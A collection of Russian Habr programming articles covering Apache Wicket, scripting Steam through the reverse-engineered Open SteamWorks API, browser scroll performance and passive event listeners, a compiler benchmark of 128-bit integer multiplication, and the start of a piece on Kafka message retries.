Опыт разработки приложений Wicket очень похож на разработку для настольных компьютеров. Иногда вы можете почти забыть о том, чтоб вы работаете с HTTP, т.к. нет необходимости сохранять состояния. Это связано с тем, что в Wicket веб-страница и все ее компоненты (кнопки, текстовые поля и т. д.) Являются объектами Java, которые поддерживают свое собственное состояние. Состояние компонентов сериализуется в сеансе пользователя и десериализуется в нужное время.
Проще говоря, предположим, что у вас есть форма с полями, которые пользователь заполняет и отправляет. В приложении Wicket эта форма, ее поля и кнопка отправки являются компонентами (объектами Java), которые создаются и добавляются на веб-страницу. При нажатии кнопки отправки:
1.У нас автоматически есть доступ к вводу пользователя, обычно в виде полей POJO.
2.Нам не нужно связывать запрос HTTP POST с запросом GET.
Нам также не нужно думать о заполнении полей формы отправленными значениями. Это делается с помощью моделей, которые являются основной концепцией Wicket.
2. Стандартная интеграция HTML
------------------------------
HTML в Wicket не требует каких-либо специальных тегов, в отличие от некоторых других фреймворков. Фактически, вы можете взять любой существующий HTML и интегрировать его с вашим приложением Wicket практически без изменений. Для подключения HTML-тегов к компонентам Wicket необходим только один атрибут: `wicket: id` Рассмотрим пример:
```
Roman
add(new Label("userName", getUsername()));
```
`wicket:id "userName"` используется для подключения HTML элемента с компонентом Wicket. Компонент Wicket Label получит имя пользователя и отобразит `div` тег . Ничего страшного, если сейчас это не совсем понятно. Это становится привычным и интуитивно понятным, когда вы начинаете экспериментировать с ним. **Компоненты Wicket являются объектами первого класса и могут инкапсулировать собственную разметку HTML / CSS / JS, как в некоторых популярных фреймворках, таких как React. Это позволяет нам создавать код, который можно многократно использовать.**
3. Не требуется Javascript (по большей части)
---------------------------------------------
В какой-то момент вы закончите писать код JS. Поддержка AJAX, предоставляемая Wicket, означает, что вам не нужно писать собственный JS-код для наиболее распространенных задач. За кулисами Wicket использует JQuery и автоматически генерирует JS-код на веб-странице. Давайте рассмотрим для примера страницу с раскрывающимся списком и различными другими компонентами, которые зависят от выбора этого раскрывающегося списка. Когда выбор изменяется, нам нужно обновить эти различные другие компоненты на странице. На самом деле для этого не требуется код Javascript . **Это делает Wicket идеальным решением для создания сложных интерфейсов со сложной бизнес-логикой.**
4. Система событий / сообщений
------------------------------
События Wicket - это способ взаимодействия компонентов и страниц между собой. Используя эту функцию, мы можем создавать **очень сложные, но не связанные друг с другом структуры компонентов**. Компонент может транслировать сообщение, не зная, кто его получит. Когда компонент заинтересован в конкретном типе сообщения, он может просто подписаться, чтобы получать уведомление, когда это сообщение будет транслироваться. Компонент может транслировать событие критического обновления с полезной нагрузкой всем другим компонентам на странице следующим образом:
```
send(getPage(), Broadcast.BREADTH, new CriticalUpdate(target, payload));
```
И если какой-то компонент заинтересован в получении CriticalUpdate , он будет регистрироваться следующим образом:
```
public void onEvent(IEvent event) {
if (event.getPayload() instanceof CriticalUpdate) {
String msg = ((CriticalUpdate)event.getPayload()); //do something with the msg
}
}
```
5. Модульное тестирование
-------------------------
Компонентный / сохраняющий состояние характер Wicket означает, что мы можем писать модульные тесты для внешнего интерфейса так же, как мы пишем их для уровня сервиса или нашего уровня доступа к данным. Wicket предоставляет полезные утилиты, упрощающие написание модульных тестов. Давайте рассмотрим пример простого сценария, который может оказаться не таким простым для тестирования в других средах. У нас есть веб-страница с интерфейсом CRUD: таблица с именами и кнопками удаления. Форма с текстовым полем и кнопкой для добавления новых строк в таблицу. Мы можем написать тест, который отобразит страницу, имитирует заполнение и отправку формы пользователем, обеспечит правильное обновление таблицы, имитирует нажатие кнопки удаления пользователем и так далее. **Все это может быть выполнено с использованием чистого кода Java и JUnit, не прибегая к Selenium, Puppeteer или аналогичным библиотекам.**
Заключение
----------
Надеюсь, вы услышали достаточно, чтобы попробовать Wicket. Если вам интересно узнать больше:
1. Перейдите на [официальный сайт](https://wicket.apache.org/learn/), где есть отличная документация.
2. Взгляните на [примеры кода](https://examples8x.wicket.apache.org/index.html) часто встречающихся практик в веб-разработке. | https://habr.com/ru/post/535876/ | null | ru | null |
# Работаем с SteamWorks. Часть 1
SteamWorks — это интерфейс, который обеспечивает разработку и публикацию инструментов для разработчиков игр. Он предоставляет возможность интеграции с клиентом Steam, интеграция с комьюнити, добавлять и редактировать достижения для игр и многое другое.
На данный момент доступ к SteamWorks можно получить если вы являетесь «гейм студией» и хотите распространять свое приложение в steam или через сервис Steam Greenlight, тем самым став партнером steam. Подробности [здесь](http://www.steampowered.com/steamworks/FAQ.php). Open SteamWorks это открытая реализация Steam api (дизассемблированная версия библиотек steam.)
“Open SteamWorks designed for people who know, what they do” — Ryan Stecker. Так автор открытой версии ответил на вопрос (не мой) о наличии дополнительной документации, вся документация которая есть в наличии, является **комментариями в исходных кодах**. Загрузить последнюю версию Open SteamWorks можно с [сайта](http://hg.opensteamworks.org).
Я буду использовать Visual Studio, если у вас есть под рукой mingw, можете использовать его. Приступим к созданию консольного приложения (вы можете использовать пример test platform из open steamworks).
Подключаем необходимые заголовочные файлы.
```
#include
#include
```
Подключаем необходимые библиотеки для компиляции нашего приложения.
```
#pragma comment( lib, "../Resources/Libs/Win32/steamclient" )
#pragma comment( lib, "../Resources/Libs/Win32/steam" )
```
Получаем базу Steam с 12 версией интерфейса.
В дизассемблированном виде это компилируется как поиск в реестре пути до стима и подключение к нему.
```
CSteamAPILoader loader;
auto *Client = (ISteamClient012 *)loader.GetSteam3Factory()(STEAMCLIENT_INTERFACE_VERSION_012, NULL);
```
Проверяем смогли ли мы получить базу.
```
if ( !Client )
{
printf("Unable to get ISteamClient.");
}
```
Создаем пайпу для взаимодействия.
```
HSteamPipe pipe = Client->CreateSteamPipe();
```
Проверяем пайпу.
```
if ( !pipe )
{
printf("Unable to get pipe");
}
```
Подключаемся к глобальному пользователю (запущенный стим).
```
HSteamUser user = Client->ConnectToGlobalUser( pipe );
```
Проверка подключения к глобальному пользователю.
```
if ( !user )
{
printf("Unable connect to global user");
}
```
Получаем доступ к api v 12 интерфейса пользователя.
```
auto *User = (ISteamUser012 *)Client->GetISteamUser( user, pipe, STEAMUSER_INTERFACE_VERSION_012);
```
Получаем доступ к api v.13 и v. 1 интерфейса друзей.
```
auto *Friends = (ISteamFriends001 *)Client->GetISteamFriends(user, pipe, STEAMFRIENDS_INTERFACE_VERSION_001);
auto *Friends13 = (ISteamFriends013 *)Client->GetISteamFriends(user, pipe, STEAMFRIENDS_INTERFACE_VERSION_013);
```
**Предостерегаю** тех, кто будет использовать интерфейсы **IClient** (IClientUtils, IClientFriends, и т. д.), все эти интерфейсы перестают работать сразу после глобального обновления steam, ваше приложение будет выдавать ошибки, **используйте ISteam (стабильный)** изложенный выше, если очень нужно использовать функции из IClient интерфейсов, а такое иногда случается, скопируйте все важные DLL файлы для вашего приложения (можно посмотреть в таблице импорта) и держите в папке с вашим приложением.
Теперь мы попробуем сделать самую простую вещь, поменять статус в стиме. (api для смены статуса доступна в первой версии интерфейса)
```
Friends->SetPersonaState(k_EPersonaStateSnooze);
```
Компилируем, запускаем и теперь мы имеем статус спит в стиме.
Получаем количество друзей.
```
int friendcount = Friends->GetFriendCount();
printf("%d",friendcount);
```
Меняем свое имя
```
Friends->SetPersonaName("Big_balls");
```
Перебираем наших друзей, получаем структуру SteamID(64bits) текущего друга по индексу, проверяем статус текущего друга, если равняется статусу онлайн и имя друга Crey, отсылаем ему сообщение.
```
for(int i = 1; i < friendcount + 1; i++)
{
CSteamID thisfriend = Friends->GetFriendByIndex(i);
if(Friends->GetFriendPersonaState(thisfriend) == k_EPersonaStateOnline && strstr(Friends- >GetFriendPersonaName(thisfriend),"Crey") != 0)
{
char myMsg[] = "My friend Crey is online.";
Friends->SendMsgToFriend(thisfriend, k_EChatEntryTypeEmote,myMsg,strlen(myMsg)+1);
}
```
Думаю теперь все понимают, что при помощи SteamWorks можно легко написать trade бота, для обмена вещей по «заданному курсу» и много чего интересного.
В следующих частях мы рассмотрим работу с IScreenshots, IUserstats(achievements), callbacks и возможно дело дойдет до написания бота. | https://habr.com/ru/post/157999/ | null | ru | null |
# Прокрутка в вебе: букварь
*Автор — Нолан Лоусон, менеджер проекта Microsoft Edge*
Прокрутка — одно из самых древних взаимодействий в вебе. Задолго до появления методов pull-to-refresh и списков бесконечной загрузки скромная полоса прокрутки решила изначальную проблему масштабирования в вебе: как взаимодействовать с контентом, который распространяется за пределы доступной области просмотра?
Сегодня прокрутка всё ещё остаётся самым фундаментальным взаимодействием в Сети, и, возможно, самым неправильно понятым. Например, вы знаете разницу между следующими сценариями?
* Пользователь прокручивает страницу двумя пальцами на тачпаде
* Пользователь прокручивает одним пальцем на тачскрине
* Пользователь прокручивает колесо мыши
* Пользователь щёлкает по полосе прокрутки и тянет её вниз и вверх
* Пользователь нажимает стрелки «вверх», «вниз», PageUp, PageDown и «пробел» на клавиатуре
Если спросите среднего интернет-пользователя (или даже среднего веб-разработчика!), они могут сказать вам, что эти действия равнозначны. Правда гораздо более интересна.
Как выясняется, эти пять методов ввода имеют очень разные характеристики, особенно в части производительности и кроссбраузерной совместимости. Некоторые из них (как прокрутка по тачскрину) вероятно будут плавными даже на странице с использованием тяжёлых JavaScript, в то время как от других (как прокрутка с клавиатуры) та же самая страница будет лагать и станет невосприимчивой. Более того, некоторые виды прокрутки можно замедлить обработчиками событий DOM, а другие нельзя. Что здесь происходит?
Чтобы ответить на этот вопрос и понять, как реализовать наиболее плавную прокрутку для своего сайта, отступим на шаг понять и разберёмся, как браузеры разбираются с многопоточностью и вводом.
Многопоточный веб
=================
Концептуально, веб является однопоточной средой. JavaScript блокирует DOM, а DOM блокирует JavaScript, потому что оба борются за один и тот же поток, часто называемый «основным потоком» или «потоком UI».
Например, если вы добавите этот (ужасный) сниппет JavaScript на страницу, то немедленно заметите ухудшение в работе:
```
setInterval(() => {
var start = Date.now();
while (Date.now() - start < 500) {/* wheeeee! */}
}, 1000);
```
Пока этот JavaScript крутится в бесконечном цикле, кнопки не работают, элементы форм не реагируют и даже анимированные GIF'ки тормозят — во всех смыслах и отношениях страница зависла. Можете изучить эффект в действии в [простом демо](http://bl.ocks.org/nolanlawson/raw/053d34c55b4f56abdf87b49946a8a2c9/).
Более того, если вы попытаетесь прокрутить страницу клавишами «вверх» и «вниз» на клавиатуре, страница предсказуемо застрянет, пока JavaScript не прекратит выполнение. Всё это явные свидетельства нашего представления веба как однопоточной среды.
Есть забавная аномалия: если попробовать прокрутку через тачскрин, то страница отлично прокручивается вверх и вниз, хотя JavaScript и блокирует всё остальное на странице. То же самое относится к прокрутке с тачпада, колесом мыши и прокрутке после захвата страницы курсором click-and-drag (в зависимости от браузера).
Каким-то образом некоторые действия по прокрутке могут изменять состояние страницы, в то время как всё остальное — кнопки, поля ввода данных, GIF'ы — полностью зависло. Как мы можем совместить это с нашей теорией однопоточного веба?
История двух потоков выполнения
===============================
Как выясняется, в целом тезис «браузеры однопоточные» правдив, но есть важные исключения. Прокрутка, во всём своём многообразии, является одним из таких исключений.
С годами разработчики браузеров осознали, что выгрузка вспомогательной работы в фоновые потоки может дать значительную выгоду по плавности работы и чувствительности. Прокрутка настолько важна для ключевого опыта работы с браузером, что эту задачу быстро выбрали для такой оптимизации. В наше время все основные браузерные движки (Blink, EdgeHTML, Gecko, WebKit) поддерживают прокрутку за пределами основного потока выполнения в той или иной степени (Firefox последним присоединился к клубу, [с версии Firefox 46](https://hacks.mozilla.org/2016/02/smoother-scrolling-in-firefox-46-with-apz/)).
С фоновой прокруткой даже загромождённая страница будет плавно прокручиваться, потому что вся прокрутка выполняется в отдельном потоке. Только если вы попытаетесь взаимодействовать со страницей через некий посторонний механизм, не связанный с прокруткой — нажать клавишу, ввести данные в поле ввода, нажать на ссылку — тогда фасад сбрасывается и суть салонного трюка полностью раскрывает себя. (Учитывая, насколько хорошо он работает, это отличный трюк!)
Правда, у асинхронной прокрутки есть распространённый побочный эффект, который называют [эффектом шахматной доски](http://www.masonchang.com/blog/2014/3/2/wow-such-checkerboard) (checkerboarding). Он впервые проявился на в Safari для iOS в виде серых и белых клеток, словно с шахматной доски. В большинстве современных браузеров эффект проявляется как пустое пространство на экране, если вы осуществляете прокрутку быстрее, чем браузер может отрисовать страницу. Это не идеально, но это приемлемый компромисс, по сравнению с заблокированной, дёргающейся или неоткликающейся прокруткой.
К сожалению, не всегда можно легко перенести прокрутку в фоновый поток выполнения. Браузеры могут сделать это только в том случае, если операционная система допускает одновременный ввод, и это может варьироваться от устройства к устройству. В частности, ввод с клавиатуры не настолько оптимизирован, как ввод с мыши или тач-устройств, что в конечном счёте ведёт к более значительным лагам при вводе с клавиатуры во всех браузерах.
Здесь будет поучительной небольшая история. Когда впервые вышли операционные системы вроде Windows и macOS, они допускали только один поток выполнения, и мало кто предвидел необходимость предусмотреть одновременный ввод. Только когда появились многоядерные машины, операционные системы начали встраивать параллелизм в свою архитектуру.
Также как рудиментарные органы животных дают понять их эволюционную историю, однопоточное происхождение операционных систем проявляет себя, если посмотреть на способы прокрутки в вебе. Только если операционная система допускает параллельный ввод — с мыши, клавиатуры или другого устройства — браузеры могут эффективно оптимизировать прокрутку, чтобы на неё не влияло длительное выполнение JavaScript, захламившего основной поток выполнения.
Однако в группе разработки Microsoft Edge мы делаем успехи, чтобы гарантировать плавный и восприимчивый скроллинг, независимо от его метода. В EdgeHTML 14 (который вошёл в состав Windows 10 Anniversary Update) мы поддерживаем фоновую прокрутку для следующих методов:
* Один палец, тачскрин
* Два пальца, тачпад
* Колесо мыши
* Полоса прокрутки
Если сравнить Edge с другими десктопными браузерами, то вы заметите, что только он поддерживает асинхронную прокрутку с помощью полосы прокрутки, то есть удерживание и перемещение мышью ползунка прокрутки, щелчок по полосе прокрутки или стрелкам. (На самом деле, мы без анонса представили эту функцию ещё в Anniversary Update!)
По результатам тестирования в Windows 10 (14393, Surface Book) и macOS Sierra (10.12, MacBook Air) мы получили следующие результаты:
| | Два пальца тачпад | Тач | Колесо мыши | Полоса прокрутки | Клавиатура |
| --- | --- | --- | --- | --- | --- |
| Edge 14 (Windows) | Есть | Есть | Есть | Есть | Нет |
| Chrome 56 (Windows) | Есть | Есть | Есть | Нет | Нет |
| Firefox 51 (Windows) | Нет | Нет | Нет | Нет | Нет |
| Chrome 56 (MacOS) | Есть | N/A | Есть | Нет | Нет |
| Firefox 51 (MacOS) | Есть | N/A | Есть | Нет | Нет |
| Safari 10.1 (MacOS) | Есть | N/A | Есть | Нет | Нет |
Как демонстрирует[\*](#1) эта таблица, поведение прокрутки может драматически изменяться от браузера к браузеру, и даже от одной ОС к другой. Если вы тестируете один метод прокрутки только в одном браузере, то получите весьма неполные результаты производительности своего сайта, по сравнению с тем, как в реальности с ним работают пользователи!
В целом должно быть ясно, что у прокрутки особенное место в вебе и браузеры очень много работают, чтобы сделать её быстрой и восприимчивой. Однако, есть тонкие способы, как веб-разработчик может непреднамеренно отключить встроенные в браузер оптимизации. Посмотрим на то, как веб-разработчики могут влиять на прокрутку в браузере, по-хорошему и по-плохому.
Как прослушивающие процессы мешают прокрутке
============================================
Фоновая прокрутка даёт ощутимую прибавку в эффективности — прокрутка и JavaScript полностью разделены, позволяя им работать параллельно без помех друг другу.
Но каждый, кто немного разрабатывал веб-страницы, знает, как установить связь между JavaScript и прокруткой:
```
window.addEventListener(“wheel”, function (e) {
e.preventDefault(); // oh no you don’t!
});
```
Когда мы добавляем прослушивающий процесс *wheel*, который вызывает `event.preventDefault()`, то он на 100% блокирует прокрутку, как для колеса мыши, так и для тачпада. И очевидно, если прокрутка заблокирована, то фоновая прокрутка тоже заблокирована.
Менее очевидно влияние такого примера:
```
window.addEventListener(“wheel”, function (e) {
console.log(‘wheel!’);
// innocent listener, not calling preventDefault()
});
```
Вы можете наивно подумать, что если функция не вызывает `preventDefault()`, то она вообще не может блокировать прокрутку или, в худшем случае, блокирует её только на время выполнения самой функции. Однако правда в том, что даже пустой прослушивающий процесс полностью блокирует прокрутку, пока не закончены *все* процессы JavaScript на этой странице, что вы можете проверить в [этом демо](http://bl.ocks.org/nolanlawson/raw/dc026a93b91cb448401bb0f1cb3ebad2/).
Прослушивание колеса мыши не взаимодействует с нашей большой блокирующей операцией JavaScript, но у них общий цикл событий, так что фоновый поток выполнения должен ждать, пока закончится более длительная операция JavaScript, прежде чем получит ответ от функции прослушивания событий.
Почему он должен ждать? Ну, JavaScript — это динамический язык программирования, и браузер не может знать наверняка, что `preventDefault()` никогда не вызовут. Даже если для разработчика очевидно, что функция делает просто запись `console.log()`, разработчики браузеров предпочитают не оставлять шансов. На самом деле, даже пустая `function() {}` вызовет тот же эффект.
Обратите внимание, что это относится не только к колесу мыши: на тач-устройствах прокрутка тоже может быть заблокирована прослушивающими процессами *touchstart* или *touchmove*.
Нужно быть осторожным, добавляя прослушивающие события на страницу, потому что они влияют на производительность!
Есть несколько интерфейсов JavaScript API, связанных с прокруткой, однако они не блокируют прокрутку. Событие *scroll*, хотя это в чём-то нелогично, не может блокировать прокрутку, потому что оно запускается *после* прокрутки, и поэтому является неотменяемым. Также и новый [Pointer Events API](https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events), представленный в IE и Microsoft Edge, и который недавно начали внедрять в Chrome и Firefox, изначально спроектирован с целью избежать неумышленного блокирования прокрутки.
Даже в тех случаях, когда нам действительно нужно прослушивать события *wheel* или *touchstart*, есть определённые хитрости, как веб-разработчики могут гарантировать работу прокрутки с максимальным качеством. Посмотрим на некоторые из этих хитростей.
Глобальные и локальные прослушивающие процессы
==============================================
В предыдущем примере мы видели случай глобального прослушивающего процесса (то есть прикреплённого к *window* или *document*). Но что насчёт прослушивающих процессов для индивидуальных элементов прокрутки?
Другими словами, представьте страницу, для которой работает прокрутка, но на странице есть отдельная область с собственной независимой прокруткой. Блокирует ли браузер прокрутку для всей страницы, если вы добавите прослушивающий процесс только в этой области?
```
document.getElementById(‘scrollableDiv’)
.addEventListener(“wheel”, function (e) {
// In theory, I can only block scrolling on the div itself!
});
```
Если вы проверите на [простой демонстрационной странице](http://bl.ocks.org/nolanlawson/raw/4079c1b7dff33fddfb8cf4cbe2c79b98/), то заметите, что Microsoft Edge и Safari оставят плавную прокрутку для целого документа, если прослушивающий процесс для прокрутки находится в div с независимой прокруткой.
Вот таблица браузеров и их поведения:
| | Два пальца тачпад | Тач | Колесо мыши | Click-and-drag | Клавиатура |
| --- | --- | --- | --- | --- | --- |
| Десктопный Edge 14 (Windows) | Есть | Есть | Есть | Есть | Нет |
| Десктопный Chrome 56 (Windows) | Нет | Есть | Нет | Нет | Нет |
| Десктопный Firefox 51 (Windows) | Нет | Нет | Нет | Нет | Нет |
| Десктопный Chrome 56 (MacOS) | Нет | N/A | Нет | Нет | Нет |
| Десктопный Firefox 51 (MacOS) | Есть | N/A | Есть | Нет | Нет |
| Safari 10.1 (MacOS) | Есть | N/A | Есть | Нет | Нет |
Результаты показывают[\*](#1), что для веб-разработчиков есть доступные оптимизации, чтобы получить пользу от этих функций браузеров. Вместо использования прослушивающих процессов wheel/touch для всего документа, предпочтительно добавить прослушивающие процессы в *конкретный подраздел документа*, так что прокрутка останется плавной для всех остальных частей страницы. Другими словами, вместо делегирования прослушивающих процессов wheel/touchstart на максимально высокий уровень, лучше всего изолировать их для элемента, где это нужно.
К сожалению, не все фреймворки JavaScript допускают такую практику — в частности, React, как правило, добавляет глобальный прослушивающий процесс ко всему документу даже если тот должен относиться только к части страницы. Однако есть [открытый тикет](https://github.com/facebook/react/issues/1254) конкретно для этой проблемы, и парни из React сказали, что с радостью примут пулл-реквест. (Уважение парням из React, которые так быстро среагировали на [наше предложение](https://github.com/facebook/react/issues/1254#issuecomment-244137395))
Пассивный прослушивающий процесс
================================
Уход от глобальных прослушивающих процессов wheel/touchstart — это хорошая практика, но иногда такое просто невозможно, в зависимости от эффекта, которого вы пытаетесь добиться. И в некоторым роде выглядит глупо, что простое прослушивание событий заставляет браузер остановить весь мир, просто потому что существует гипотетическая вероятность вызова `PreventDefault()`, и он его ждёт.
К счастью, в браузерах начала появляться новая функция, когда веб-разработчики могут явно пометить прослушивающий процесс как «пассивный» и поэтому избежать ожидания:
```
window.addEventListener(“wheel”, function (e) {
// Not calling preventDefault()!
}, { passive: true } // I pinkie-swear I won't call preventDefault()
);
```
С таким подходом браузер будет обрабатывать прокрутку так, как будто прослушивающий процесс *wheel* вообще отсутствует. Эта функция [уже доступна](http://caniuse.com/#feat=passive-event-listener) в последних версиях Chrome, Firefox и Safari, и [должна скоро появиться в будущем релизе Microsoft Edge](https://developer.microsoft.com/microsoft-edge/platform/status/passiveeventlisteners/). (Обратите внимание, что нужно применять [feature detection](https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection) для поддержки браузеров, которые не распознают пассивные прослушивающие процессы).
Для некоторых событий (в том числе *touchstart* и *touchmove*) Chrome с версии 56 принял решение вмешиваться и сделал их [пассивными по умолчанию](https://www.chromestatus.com/features/5093566007214080). Имейте в виду эту незначительную разницу между браузерами, когда добавляете прослушивающие процессы!
Заключение
==========
Как мы видели, прокрутка в вебе — фантастически сложный процесс, и все браузеры находятся на разных этапах улучшения своей производительности. Но в целом мы можем сформулировать некоторые чёткие советы для веб-разработчиков.
Во-первых, лучше не добавлять прослушивающие процессы *wheel* или *touch* к глобальным объектам *document* или *window*, а вместо этого добавлять их к меньшим элементам с индивидуальной прокруткой. Разработчикам также следует использовать пассивные прослушивающие процессы, где только возможно, с применением [feature detection](https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection), чтобы избежать проблем совместимости. Использование Pointer Events (там есть [polyfill](https://github.com/jquery/PEP)) и прослушивающих событий *scroll* — тоже верный способ избежать непреднамеренной блокировки прокрутки.
Надеюсь, эта статья предоставила некоторые полезные советы для веб-разработчиков и позволила мельком взглянуть на то, что у браузеров под капотом. Без сомнений, по мере развития браузеров и роста веба, механика прокрутки станет даже более сложной и изощрённой.
Наша группа Microsoft Edge продолжит инновации в данной области, чтобы обеспечить плавную прокрутку для большего количества сайтов и пользователей. Скажем это для скромного скроллбара — самого старого и неоднозначного взаимодействия в вебе!
\* Результаты получены на последней версии каждого браузера в феврале 2017 года. С тех пор Firefox 52 обновил поддержку прокрутки, и теперь соответствует поведению Edge 14 во всех тестах, за исключением скроллинга полосой прокрутки. Надеемся, остальные браузеры тоже сделают улучшения в реализации прокрутки и сделают веб быстрее и более восприимчивым! | https://habr.com/ru/post/325028/ | null | ru | null |
# Сравниваем производительность целочисленного умножения
Приступая к написанию тестовой программы для этой статьи я внутренне ожидал, что CPU Intel положит на обе лопатки AMD, так же как и одноименный компилятор без боя победит Visual Studio. Но не все так просто, может быть, на это повлиял выбор программного теста?
Для теста я использовал целочисленное умножение двух 128-ми битных чисел с получением 256-ти битного результата. Тест повторялся 1 млрд раз и занял всего от 12 до 85 секунд. Использовались процессоры AMD FX-8150 3.60GHz и Intel Core i5 2500 3.30GHz. Никакой мультипоточности, никакого разгона.
Использовались компиляторы Intel Parallel Studio XE Version 12.0.0.104 Build 20101006 его более новая реинкарнация 12.1.5.344 Build 20120612, Visual Studio 2010 SP1 и самый современный Visual Studio 2012 (с интерфейсом Metro и CAPSLOCK меню), он же С++ 11.0 Release Candidate. Про опцию -O2 не забываем, она включена у Visual Studio. А для Intel это необязательно, он оптимизирует с -O2 по умолчанию, для Intel включена опция -O3.
Приведу сам тест. Согласен, что для 64-х битового кода нужно было бы сделать BN\_WORD равным \_\_int64, BN\_DWORD тогда разделить на low и high части, а для умножения этого хозяйства задействовать intrinsic под названием \_mul128, который поддерживается данными компиляторами. Все это есть в планах и предполагается сделать позднее. Целью данной статьи является сравнение оптимизирующих компиляторов, но не сравнение скорости 32-х и 64-х битового умножения, а также развенчивание одного мифа.
```
#include
#include
#define QUANTITY 4
typedef unsigned int BN\_WORD;
typedef unsigned \_\_int64 BN\_DWORD;
void Mul(BN\_WORD \*C, BN\_WORD \*A, BN\_WORD \*B )
{
BN\_WORD Carry = 0;
BN\_WORD h = \*(B++);
int i, j;
union {
BN\_DWORD sd;
BN\_WORD sw[2];
} s;
for( i = QUANTITY; i > 0; --i)
{
s.sd = (BN\_DWORD) \*(A++) \* h + Carry;
\*C++ = s.sw[0];
Carry = s.sw[1];
}
\*C = Carry;
for ( j = QUANTITY-1; j > 0; --j )
{
A -= QUANTITY;
h = \*(B++);
C -= QUANTITY-1;
Carry = 0;
for( i = QUANTITY; i > 0; --i )
{
s.sd = (BN\_DWORD) \*(A++) \* h + \*C + Carry;
\*C++ = s.sw[0];
Carry = s.sw[1];
}
\*C = Carry;
}
}
typedef void (\*my\_proc)(BN\_WORD\*, BN\_WORD\*, BN\_WORD\*);
void put\_addr(void)
{
FILE \*f=fopen("tmp.$$$", "wb");
my\_proc proc = Mul;
fwrite(&proc, 1, sizeof(proc), f);
fclose(f);
}
my\_proc get\_addr(void)
{
FILE \*f=fopen("tmp.$$$", "rb");
my\_proc proc = NULL;
fread(&proc, 1, sizeof(proc), f);
fclose(f);
return proc;
}
int main(void)
{
int i,j;
LARGE\_INTEGER lFrequency, lStart, lEnd;
double dfTime1;
BN\_WORD A[QUANTITY], B[QUANTITY], C[QUANTITY\*2];
BN\_WORD RES[QUANTITY\*2]={0xd7a44a41, 0xf6e4895c, 0x1624c878, 0x35650795,
0xa55cb22f, 0x861c7313, 0x66dc33f7, 0x479bf4db };
//это ухищрение, чтобы избежать inline вставки кода функции Mul в тело main
void (\*mul)( BN\_WORD \*C, BN\_WORD \*A, BN\_WORD \*B );
put\_addr();
mul = get\_addr();
for( i=0; i
```
Полученные результаты приведены в таблице:
| | AMD FX-8150 3.60GHz 64 бит | AMD FX-8150 3.60GHz 32 бит | Core i5-2500 3.30GHz 64 бит | Core i5-2500 3.30GHz 32 бит |
| --- | --- | --- | --- | --- |
| Intel Parallel Studio XE 12.0.0.104 Build 20101006 | 22.6235 sec | 25.913 sec | 13.0921 sec | 23.1986 sec |
| Intel Parallel Studio XE 12.1.5.344 Build 20120612 | 22.2398 sec | 26.0347 sec | 12.9242 sec | 23.1603 sec |
| Visual Studio 2010 C++ 10.0 SP1 | 22.5853 sec | 84.1714 sec | 12.4991 sec | 53.633 sec |
| Visual Studio 2012 C++ 11.0 Release Candidate | 22.2952 sec | 72.8279 sec | 12.6212 sec | 47.1136 sec |
На 64-битном коде имеем примерно одинаковый результат для всех трех компиляторов.
На 32-х битах существенно выигрывает Intel, за ним плетется VS2010, а новейший VS2012 демонстрирует уверенный рост, хотя до Intel ему далеко.
Интересно также сравнить скорость работы на AMD и Core i5. При схожей цене в 7000 руб процессоры показывают схожую производительность в 32-битных приложениях на компиляторе Intel. Хотя ожидалось, что в однопоточном тесте всегда будет преимущество Core i5. В планах есть написание мультипоточного теста, чтобы задействовать всю мощь 8-ми ядер AMD. И тогда уже он, скорее всего, выиграет, так как у него 8 целочисленных арифметических ядер (но 4 ядра с плавающей точкой) против 4-х ядер у Core i5, поддержки multi-threading у (моего) Core i5 нет.
Еще один важный вывод напрашивается сам собой — производители компиляторов все силы бросили на создание оптимизирующего 64-битного компилятора, при этом добились похожих результатов. Производители процессоров также все силы бросили на 64-битную платформу, при этом Intel существенно выигрывает у AMD.
Еще один интересный факт — развенчан миф, что компилятор Intel якобы создает код, который хорошо работает только на Intel, и показывает плачевную производительность на AMD (медленнее в 2 и более раз). Легко увидеть, что компилятор Intel на 32-битном коде дает примерно такой же результат при переходе с AMD на CPU Intel, а вот компилятор VS дает прирост, почему на Core i5 происходит существенное ускорение, если использовать код от VS, выяснить пока не удалось. (Действительно, почему?)
UPD1. В первую редакцию этой статьи закралась ошибка, связанная с тем, что из-за хитрой оптимизации VS2010 не производил умножения и код получался в 5,5 раз быстрее. Сейчас исходник исправлен (введен указатель mul на ф-ию Mul, причем указатель пишется/читается из файла, чтобы обмануть компилятор), результаты обновлены. И еще \_WORD исправлен на BN\_WORD для получения полной ясности, судя по первому комментарию. | https://habr.com/ru/post/147272/ | null | ru | null |
# Используете Kafka с микросервисами? Скорее всего, вы неправильно обрабатываете повторные передачи
Apache Kafka стала ведущей платформой для асинхронной коммуникации между микросервисами. В ней есть мощные функции, которые позволяют строить устойчивые к ошибкам и отказам асинхронные архитектуры.
В то же время нужно предвидеть потенциальные ловушки. Неспособность заранее распознать проблемы, которые могут (нет, будут) возникать, приведет к тому, что у нас будут уязвимые к ошибкам и искажению данных системы.
В этой статье мы погрузимся в проблему одной такой ловушки: неудачных попыток обработать сообщения. Первое и самое важное, мы должны понимать, что потребление сообщений может и будет неудачным. Второе, нам нужно проследить, что мы правильно реагируем на эти неудачи, чтобы не вызвать еще больше проблем в будущем.
### Краткий обзор Kafka
Любой читатель этой статьи, вероятно, хоть немного знаком с Kafka. Про то, [что такое Kafka и как с ней работать](https://levelup.gitconnected.com/kafka-for-engineers-975feaea6067), есть разные подробные материалы. С учетом сказанного мы кратко остановимся на важных для нашего обсуждения понятиях.
#### Журнал событий, продюсеры и консюмеры
Kafka — система для обработки потоков информации. Концептуально мы понимаем Kafka как общность трех базовых компонентов:
***Журнал событий (event log)***, в который публикуются сообщения.
***Продюсеры (producers, publishers)***, публикуют сообщения в журнал событий.
***Консюмеры (consumers)***, потребляют сообщения из журнала событий.
В отличие от традиционных очередей сообщений, как в RabbitMQ, в Kafka именно консюмеры определяют, когда прочитать сообщение (т.е. Kafka использует скорее pull, нежели push модель). У каждого сообщения есть ***смещение (offset)***, и каждый консюмер отслеживает (или фиксирует) смещение последнего потребленного сообщения. Это позволяет консюмерам затем запрашивать следующее сообщение через смещение этого сообщения.
#### Топики
Журнал событий разделен на топики (topics), каждый из которых определяет один тип сообщений, которые в него публикуются. И хотя от нас, инженеров, зависит определение топиков, нам стоит помнить некоторые простые и надежные правила:
* Каждый топик описывает событие, о котором должны знать другие сервисы.
